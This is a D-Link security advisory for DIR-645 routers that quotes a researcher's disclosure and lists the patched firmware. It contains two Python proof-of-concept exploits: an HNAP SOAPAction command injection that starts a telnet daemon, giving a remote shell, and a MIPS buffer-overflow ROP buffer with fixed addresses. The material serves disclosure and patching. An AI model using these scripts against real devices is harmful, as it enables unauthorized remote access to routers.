Description
Using firmware in an emulator to determine exploits, the author designed exploit scripts written in python that give details.
"The buffer overflow does not have a payload at this time, however if you watch the exploit in a debugger, then it can be clearly seen that the payload uses ROP techniques to get to stack payload which is a bunch of C's for now on the stack. It can be replaced with any payload that works on MIPS little endian architecture."
In order to maintain author's intent and accuracy of the disclosure we encourage you to contact the author at the provided link above.
Details
1. Command injection
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import socket
import struct
buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + 'test;telnetd -p 9656;test\r\n' + "1\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)
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2. Buffer overflow
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import socket
import struct
exploit_buffer+="C"*50+"Z"*46
exploit_buffer+="\xb4\x67\xb3\x2a"
exploit_buffer+="\xd0\xeb\xb4\x2a"
exploit_buffer+="VVVV"
exploit_buffer+="\x7c\xba\xb1\x2a"
exploit_buffer+="K"*16
exploit_buffer+="\x44\x3b\xb0\x2A"
exploit_buffer+="A"*36
exploit_buffer+="\xf0\x5e\xb0\x2A"
exploit_buffer+="H"*16
exploit_buffer+="C"*212+"\r\n" + "1\r\n\r\n"
print "[+] sending exploit_bufferfer size", len(exploit_buffer)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.1", 80))
s.send(exploit_buffer)
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Affected Product
|
Model Name
|
HW Version
|
Current FW Version
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New FW Version for this exploit fix
|
|
DIR-645
|
A1
|
v. 1.04b12 and older
|
FW: Patch 1.05b01
Release Notes: Link
(Updated: 04/24/2015)
|
Security patch for your D-Link Devices
These firmware updates address the security vulnerabilities in affected D-Link devices. D-Link will update this continually and we strongly recommend all users to install the relevant updates.
As there are different hardware revisions on our products, please check this on your device before downloading the correct corresponding firmware update. The hardware revision information can usually be found on the product label on the underside of the product next to the serial number. Alternatively, they can also be found on the device web configuration.